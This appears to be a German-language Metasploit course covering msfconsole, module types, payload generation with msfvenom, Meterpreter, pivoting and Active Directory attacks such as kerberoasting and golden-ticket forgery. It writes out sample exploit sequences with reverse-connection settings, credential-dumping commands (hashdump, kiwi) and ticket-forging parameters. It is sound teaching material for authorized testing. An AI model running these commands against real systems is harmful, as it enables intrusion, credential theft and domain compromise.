Durchgehender Kurs zum quelloffenen, Ruby-basierten Penetrationstest-Framework von Rapid7: von msfconsole-Grundlagen ueber Module, Payloads/msfvenom und Meterpreter bis zu Post-Exploitation, Pivoting und Active-Directory/Kerberos-Angriffen.
Das Metasploit Framework ist eine quelloffene, Ruby-basierte und modular aufgebaute Plattform fuer Penetrationstests, gepflegt von Rapid7. Es stellt eine Sammlung von Werkzeugen bereit, um Sicherheitsluecken zu testen, Netzwerke zu erkunden, Angriffe durchzuspielen und Erkennung zu umgehen – alles in einer gemeinsamen Umgebung.
Metasploit ist ein Werkzeug fuer autorisierte Sicherheitspruefungen. Man darf nur Systeme angehen, fuer deren Pruefung man eine ausdrueckliche Erlaubnis besitzt.
Zwei Produktvarianten
Metasploit Framework – der freie, quelloffene Kern, ueber die Kommandozeile bedient.
Metasploit Pro – die kommerzielle Erweiterung, beim Download als kostenlose Testversion enthalten.
Installation
Die offiziellen Nightly Installer von Rapid7 herunterladen und installieren, oder
Kali Linux verwenden, wo Metasploit bereits vorinstalliert ist.
Gestartet wird die Konsole mit dem Befehl msfconsole. Danach steht die Eingabeaufforderung msf > bereit.
Alles dreht sich um Module
Metasploit ist rund um das Konzept der Module aufgebaut: Jede Aufgabe – Scannen, Ausnutzen einer Luecke, Nachbereiten – ist als eigenes Modul umgesetzt. Diese Modularitaet zieht sich durch alle weiteren Kapitel.
msfconsole: Bedienung und Arbeitsablauf
Die msfconsole ist die am haeufigsten genutzte Schnittstelle. Ihr Startbanner zeigt Version und die Anzahl der Module je Typ, zum Beispiel:
use – das Modul auswaehlen und in seinen Kontext wechseln.
options / show options – die einstellbaren Werte ansehen.
set – die noetigen Werte belegen.
run bzw. exploit – das Modul ausfuehren.
Beispielablauf
msf > use exploit/linux/postgres/postgres_payload
set username administrator
set password pass
set rhost 192.168.123.6
set rport 5432
set lhost 192.168.123.1
set lport 5000
run
Wichtige Optionen
RHOSTS / RHOST – Zielsystem(e); mehrere Werte oder ein CIDR-Bereich wie set rhosts 10.0.0.0/24 sind moeglich.
RPORT – Zielport.
PAYLOAD – der Code, der nach erfolgreichem Exploit laeuft.
LHOST / LPORT – Adresse und Port fuer die Rueckverbindung eines Payloads.
Ueber ein VPN muss LHOST oft auf die VPN-Adresse (z. B. die tun0-IP) gesetzt werden, damit der Payload zurueckfindet.
Globale Optionen und Automatisierung
Mit setg statt set wird eine Option global im Datastore abgelegt, sodass sie fuer alle Module gilt (z. B. ein wiederkehrendes LHOST). Wiederkehrende Befehlsfolgen lassen sich als Resource-Skript (.rc) ablegen und mit resource datei.rc oder direkt beim Start mit msfconsole -r datei.rc automatisiert abspielen.
Hilfsbefehle
help – verfuegbare Befehle des aktuellen Modus.
info <modul> / info -d – Details bzw. ausfuehrliche Beschreibung.
show missing – nur die noch fehlenden Pflichtoptionen.
back – zurueck aus dem Modul-Kontext in die allgemeine Konsole.
Seit 2021 gibt es Inline-Optionen: Man kann ein Modul ausfuehren und seine Optionen im selben Befehl angeben, statt jede einzeln mit set zu belegen.
Die Modultypen im Überblick
Ein Modul ist ein Stueck Software, das eine bestimmte Aufgabe erfuellt. Das Framework umfasst mehrere tausend davon. Das Startbanner zaehlt sie nach Typ auf.
Die sieben Typen
exploit – nutzt eine konkrete Schwachstelle aus, um Code zur Ausfuehrung zu bringen.
auxiliary – Hilfsmodule fuer Scannen, Informationssammlung (gather), Fuzzing oder DoS, ohne direkt einen Payload auszuliefern.
post – fuer die Phase nach dem Zugriff (Post-Exploitation).
payload – der Code, der nach einem erfolgreichen Exploit auf dem Ziel laeuft.
encoder – bereitet Payloads auf, etwa um bestimmte Zeichen zu vermeiden.
nop – erzeugt Fuellbytes (No-Operation).
evasion – zielt darauf ab, Erkennung zu erschweren.
Referenznamen
Module werden ueber einen hierarchischen Pfad angesprochen, dessen erster Teil den Typ nennt. Beispiele:
exploit/windows/smb/ms17_010_eternalblue
auxiliary/admin/smb/download_file
exploit/unix/misc/distcc_exec
Wo Module liegen
Module liegen im Verzeichnis modules/. Eigene Module kann man unter $HOME/.msf4/ ablegen. Zu beachten ist die Schreibweise: bei exploits, payloads, encoders und nops im Plural, bei auxiliary und post im Singular.
Neue Module, die waehrend einer laufenden Sitzung abgelegt werden, laedt der Befehl reload_all nach.
Module finden, konfigurieren und bewerten
Module finden: search
Mit search filtert man gezielt. Als Suchkriterien dienen unter anderem Modulname, Pfad, Plattform, Autor, Modultyp oder eine CVE-ID. So findet man schnell das Modul zu einer bestimmten Schwachstelle.
Jedes Modul besitzt Optionen, die vor dem Ausfuehren gesetzt werden muessen. Sie werden im Datastore gespeichert. In der Optionsuebersicht (show options) steht in der Spalte Required, ob eine Option zwingend ist:
msf exploit(...) > show options
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s)
RPORT 445 yes The target port (TCP)
Mit show missing zeigt Metasploit nur die noch fehlenden Pflichtwerte an.
Exploit Ranking
Jeder Exploit traegt ein Ranking, das seine Zuverlaessigkeit und sein Risiko einordnet. Es hilft, ein Modul zu waehlen, das moeglichst zuverlaessig ist und das Ziel nicht zum Absturz bringt.
Ergaenzend beschreiben Modul-Metadaten die Reliability, Side Effects und Stability – also wie verlaesslich ein Modul ist und welche Nebenwirkungen es haben kann.
Payload-Anatomie: Singles, Stager und Stages
Ein Payload ist der Code, der nach einem erfolgreichen Exploit auf dem Ziel ausgefuehrt wird – etwa um einen Benutzer anzulegen oder eine Metasploit-Sitzung zu oeffnen. Payload-Module liegen unter modules/payloads/{singles,stages,stagers}/<platform>. Beim Start werden Stages mit Stagern zu vollstaendigen Payloads kombiniert und passende Handler zugeordnet.
Der Referenzname
Zusammengesetzt (staged): <platform>/[arch]/<stage>/<stager> – getrennt durch /, z. B. windows/meterpreter/reverse_tcp.
Einteilig (stageless): <platform>/[arch]/<single> – letzter Teil mit _ verbunden, z. B. windows/meterpreter_reverse_tcp.
Beispiel windows/x64/meterpreter/reverse_tcp: Plattform windows, Architektur x64, Endstufe meterpreter, Stager reverse_tcp. Die Architektur ist optional – bei php/meterpreter/reverse_tcp entfaellt sie, da interpretierter statt nativer Code ausgeliefert wird.
Die drei Bausteine
Singles
Einteilige Payloads nach dem Prinzip „abschicken und vergessen“. Nuetzlich, wenn das Ziel keinen oder nur eingeschraenkten Netzwerkzugang hat, weil sie kein Nachladen ueber das Netz benoetigen.
Stager
Ein kleiner Stub, der zuerst eine Verbindung herstellt und dann die Ausfuehrung an die naechste Stufe uebergibt. Vorteil: kleiner Erstcode laedt einen groesseren nach, und der Transportweg ist von der Endstufe getrennt.
Stages
Da der Stager Groessenbeschraenkungen umgeht und Speicher reserviert, koennen Stages nahezu beliebig gross und in Hochsprachen wie C geschrieben sein.
Auslieferung und Handler
Bei einer shell-Stufe verbindet Metasploit die Ein-/Ausgabe des entfernten Prozesses mit dem Terminal; bei einer Meterpreter-Stufe spricht es das Meterpreter-Protokoll. Dem Payload wird ein Handler zugeordnet, der die eingehende Rueckverbindung entgegennimmt; er laesst sich auch eigenstaendig ueber exploit/multi/handler starten, etwa um einen zuvor mit msfvenom erzeugten Payload abzufangen.
Payloads erzeugen mit msfvenom
Mit msfvenom erzeugt man eigenstaendige Payload-Dateien ausserhalb eines Exploits. Wichtige Schalter:
-p – der Payload (z. B. windows/meterpreter/reverse_tcp).
-f – das Ausgabeformat, z. B. exe, elf, raw oder python.
-b – Bad-Characters, die im erzeugten Payload nicht vorkommen duerfen (z. B. -b "x00" fuer das Nullbyte).
-e – ein Encoder, z. B. x86/shikata_ga_nai, mit -i fuer die Anzahl der Durchlaeufe (Iterationen).
Payload-Optionen wie LHOST und LPORT direkt als Schluessel=Wert.
Diese drei Aufrufe erzeugen funktional gleichwertige EXE-Dateien, weil bei staged Payloads jeweils nur der Stager erstellt wird – die Endstufe (Meterpreter, einfache Shell oder VNC-Einblendung) wird erst spaeter nachgeladen.
Durch eingebaute Zufaelligkeit gleicht keine erzeugte Datei exakt einer anderen – die Dateien sind nur funktional identisch, nicht Byte-fuer-Byte.
Encoder
Ein Encoder wie shikata_ga_nai codiert den Payload um. Sein primaerer Zweck ist, Bad-Characters zu vermeiden und bei jedem Lauf eine etwas andere Byte-Darstellung zu erzeugen – nicht die zuverlaessige Umgehung moderner Virenschutzloesungen, die heute deutlich weiterentwickelte Erkennung nutzen.
Der Wert LHOST bestimmt, wohin der Payload zurueckverbindet. Er muss zur eigenen (ggf. VPN-)Adresse passen – sonst kann die Rueckverbindung nicht aufgebaut werden. Fuer die Gegenstelle startet man einen passenden Handler, z. B. mit exploit/multi/handler.
Sessions verstehen und verwalten
Nach einem erfolgreichen Exploit wird eine Session geoeffnet – entweder eine einfache Shell oder eine Meterpreter-Sitzung. Standardmaessig versucht Metasploit, einen Meterpreter-Payload auszuliefern; gelingt das nicht, oeffnet es eine Shell.
Shell oder Meterpreter
Shell: oeffnet ein Standard-Terminal auf dem Ziel, aehnlich einer normalen Kommandozeile. Shell-Payloads sind einfacher zu starten.
Meterpreter: laeuft im Speicher, spricht ein eigenes Protokoll und gibt Zugriff auf zahlreiche Post-Exploitation-Funktionen, die eine reine Shell nicht bietet.
Innerhalb einer Sitzung schickt man sie mit background (oder Strg+Z) in den Hintergrund, ohne sie zu beenden.
Mit sessions -C <befehl> laesst sich ein Meterpreter-Befehl ueber mehrere Sitzungen zugleich ausfuehren.
Meterpreter nutzen und Shells aufwerten
Wichtige Meterpreter-Befehle
background / bg – die Sitzung in den Hintergrund legen.
getuid – zeigt den Benutzer, unter dem der Meterpreter-Server aktuell laeuft.
getsystem – versucht mehrere Techniken, um auf einem Windows-Ziel die hoechsten Rechte (NT AUTHORITYSYSTEM) zu erlangen.
hashdump – liest die lokalen Passwort-Hashes (SAM) des Ziels aus; erhoehte Rechte sind dafuer in der Regel noetig.
migrate – verschiebt den Meterpreter-Server in einen anderen, stabileren Prozess, sodass die Sitzung erhalten bleibt, wenn der Ausgangsprozess endet.
load – eine oder mehrere Meterpreter-Erweiterungen laden.
pivot – Pivot-Listener verwalten.
irb – eine interaktive Ruby-Shell in der Sitzung oeffnen.
exit / quit – die Meterpreter-Sitzung beenden.
Eine Shell zu Meterpreter aufwerten
Hat man nur eine einfache Shell, laesst sie sich mit dem Post-Modul post/multi/manage/shell_to_meterpreter aufwerten:
msf > use post/multi/manage/shell_to_meterpreter
set SESSION 1
run
Kurzform ist sessions -u <id>. Diese Kurzform nutzt jedoch nur den Standard-Reverse-Meterpreter und funktioniert daher nicht zuverlaessig ueber ein Pivot.
Ueber ein Pivot muss man LHOST und LPORT von Hand setzen, weil das Sitzungsobjekt diese Angaben nicht zwingend kennt. Fuer feine Kontrolle dienen die Optionen PAYLOAD_OVERRIDE, PLATFORM_OVERRIDE und unter Windows PSH_ARCH_OVERRIDE.
Erweiterungen laden
Ueber load holt man Zusatzfunktionen in die Sitzung. So laedt z. B. load kiwi die mimikatz-basierte kiwi-Erweiterung, mit der sich unter anderem Anmeldedaten und Kerberos-Tickets aus dem Speicher lesen lassen.
Post-Module und Datenbankunterstützung
Post-Exploitation
Post-Module arbeiten auf einem bereits kompromittierten System – sie sammeln Informationen (gather), lesen Konfigurationen aus oder bereiten weitere Schritte vor. Sie werden gegen eine bestehende Sitzung ausgefuehrt, typischerweise ueber die Option SESSION.
Datenbankunterstuetzung
Metasploit kann eine PostgreSQL-Datenbank anbinden, um Ergebnisse wie Hosts, Dienste und Zugangsdaten zu speichern und den Arbeitsstand zu organisieren.
db_status – prueft die Datenbankverbindung.
db_nmap – fuehrt nmap aus und speichert die Ergebnisse in der Datenbank (nur mit angebundener Datenbank verfuegbar).
hosts / services – zeigen gespeicherte Hosts bzw. Dienste an.
workspace – wechselt zwischen getrennten Arbeitsbereichen, um Ergebnisse z. B. je Projekt oder Kunde zu trennen.
Ohne Datenbank laeuft die Konsole zwar weiter, aber datenbankabhaengige Befehle wie db_nmap stehen dann nicht zur Verfuegung.
Loot
Gesammelte Artefakte – etwa Hashes oder Ticket-Dateien – werden als Loot in der Datenbank abgelegt und lassen sich mit dem Befehl loot auflisten. Das erspart die manuelle Verwaltung von Dateien.
Pivoting durch Netzwerke
Pivoting bezeichnet die Technik, ein bereits kompromittiertes System als Zwischenstation (Sprungpunkt) zu nutzen, um weitere, sonst nicht erreichbare Netzsegmente anzusprechen. So gelangt man von einem „Randsystem“ tiefer in ein Netzwerk.
Wie Metasploit pivotet
Ueber eine bestehende Meterpreter-Sitzung leitet Metasploit Verbindungen in das intern erreichbare Netz weiter. Zwei zentrale Werkzeuge dafuer:
autoroute (bzw. das Modul post/multi/manage/autoroute) traegt eine Route in die interne Routing-Tabelle von Metasploit ein, sodass weitere Module (Scanner, Exploits) den Verkehr automatisch durch die bestehende Sitzung ins interne Netz schicken.
portfwd richtet ueber die Meterpreter-Sitzung eine gezielte Portweiterleitung ein, sodass ein einzelner interner Dienst lokal auf dem Angreifer-Rechner erreichbar wird.
Der Meterpreter-Befehl pivot verwaltet zusaetzlich Pivot-Listener. Moderne Metasploit-Versionen unterstuetzen Pivoting ueber Sitzungen „out of the box“.
Stolpersteine
Aktionen, die eine Rueckverbindung aufbauen, funktionieren ueber ein Pivot nur, wenn LHOST und LPORT passend gesetzt sind. Beim Aufwerten einer Shell scheitert die Kurzform sessions -u daher ueber ein Pivot – hier belegt man die Werte im Modul shell_to_meterpreter von Hand.
Typischer Ablauf
Ein Randsystem kompromittieren und eine Meterpreter-Sitzung erhalten.
Mit autoroute das interne Netz fuer weitere Module erreichbar machen.
Weitere Module (z. B. Scanner oder post-Module) gegen die nun erreichbaren internen Ziele ausfuehren, oder einzelne Dienste per portfwd lokal verfuegbar machen.
Kerberos-Grundlagen in Metasploit
Ab Version 6.3 bietet Metasploit native Unterstuetzung fuer Kerberos – das Authentifizierungsprotokoll, das vor allem in Active Directory genutzt wird. Damit lassen sich Tickets anfordern, faelschen, umwandeln und pruefen; gewonnene Tickets werden als Loot in der Datenbank zwischengespeichert.
Das KDC-Modell
Das Key Distribution Center (KDC) besteht aus zwei Teilen:
Authentication Server (AS) – authentifiziert den Client (ueber ein Geheimnis wie das Passwort oder per PKINIT mit Zertifikaten) und gibt bei Erfolg ein Ticket Granting Ticket (TGT) aus.
Ticket Granting Server (TGS) – nimmt das TGT plus die gewuenschten Dienstdaten entgegen und gibt ein Service Ticket zurueck. In Kerberos-Werkzeugen, auch in Metasploit, heissen diese Service Tickets ebenfalls TGS.
Service Tickets dienen dem Zugriff auf Dienste wie SMB oder WinRM.
SID und RID
In Active Directory identifiziert ein Security Identifier (SID) Benutzer, Gruppen und Computer eindeutig, z. B. S-1-5-21-1266190811-2419310613-1856291569-500. Der letzte Teil ist der Relative Identifier (RID) – das Administrator-Konto hat den RID 500. Diese Angaben braucht man etwa beim Modul auxiliary/admin/kerberos/forge_ticket.
Tickets betrachten
Mit klist zeigt Metasploit den Kerberos-Ticket-Cache an. Angeforderte Tickets werden als MIT-Credential-Cache-Dateien im Loot gespeichert, sodass keine manuelle Verwaltung von Umgebungsvariablen noetig ist.
AD-Angriffstechniken mit Metasploit
Metasploit buendelt mehrere Module fuer typische Active-Directory-Techniken. Sie liegen unter auxiliary/admin/kerberos/ und auxiliary/gather/.
Kerberoasting
Kerberoasting findet Service Principal Names (SPN), die in Active Directory mit normalen Benutzerkonten verknuepft sind, und fordert dafuer Service Tickets (TGS) beim KDC an. Diese Tickets sind mit dem Passwort des Dienstkontos verschluesselt – da solche Passwoerter von Menschen gesetzt und oft schwach sind, lassen sie sich ggf. per Brute Force offline knacken. Metasploit liefert dafuer das native Modul auxiliary/gather/kerberoast, das den Hash in der Datenbank speichert.
Tickets anfordern: get_ticket
Das Modul auxiliary/admin/kerberos/get_ticket fordert bei Kenntnis von Passwort, NT-Hash oder Schluessel ein TGT (Aktion GET_TGT) oder ein TGS (Aktion GET_TGS) an:
msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGT rhosts=10.0.0.24
domain=mylab.local username=Administrator nthash=<hash>
Tickets faelschen: forge_ticket
Das Modul auxiliary/admin/kerberos/forge_ticket erstellt gefaelschte Tickets:
Golden Ticket (FORGE_GOLDEN) – ein gefaelschtes TGT, benoetigt u. a. den NT-Hash des krbtgt-Kontos, die DOMAIN_SID, einen USER und dessen USER_RID.
Silver Ticket (FORGE_SILVER) – ein gefaelschtes Service Ticket.
Diamond und Sapphire – TGTs, die den PAC eines vorhandenen Nutzers kopieren.
Weitere Ticket-Werkzeuge
inspect_ticket – ein Ticket untersuchen und debuggen.
ticket_converter – zwischen den Formaten kirbi und ccache umwandeln.
keytab – Keytab-Dateien erzeugen, um Kerberos-Netzwerkverkehr (z. B. in Wireshark) zu entschluesseln.
Diese Techniken sind ausschliesslich fuer autorisierte Tests gedacht. Das Faelschen von Tickets setzt bereits kompromittierte Schluessel (etwa den krbtgt-Hash) voraus und darf nur in Umgebungen mit ausdruecklicher Erlaubnis eingesetzt werden.